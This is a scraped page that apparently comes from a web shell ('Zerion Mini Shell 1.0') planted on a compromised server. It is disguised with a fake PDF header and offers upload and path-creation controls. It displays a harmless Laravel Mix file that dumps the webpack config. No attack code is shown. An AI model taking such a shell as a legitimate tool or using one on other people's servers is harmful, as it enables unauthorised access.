%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/bos_naturals/node_modules/laravel-mix/src/components/
Upload File :
Create Path :
Current File : /home/ugotscom/bos_naturals/node_modules/laravel-mix/src/components/DumpWebpackConfig.js

let Log = require('../Log');

class DumpWebpackConfig {
    /**
     * The optional name to be used when called by Mix.
     * Defaults to the class name, lowercased.
     */
    name() {
        return ['dumpWebpackConfig', 'dump'];
    }

    /**
     * Register the component.
     */
    register() {
        Mix.listen('configReadyForUser', config => {
            RegExp.prototype.toJSON = function() {
                return this.toString();
            };

            Log.info(JSON.stringify(config, null, 2));
        });
    }
}

module.exports = DumpWebpackConfig;

Zerion Mini Shell 1.0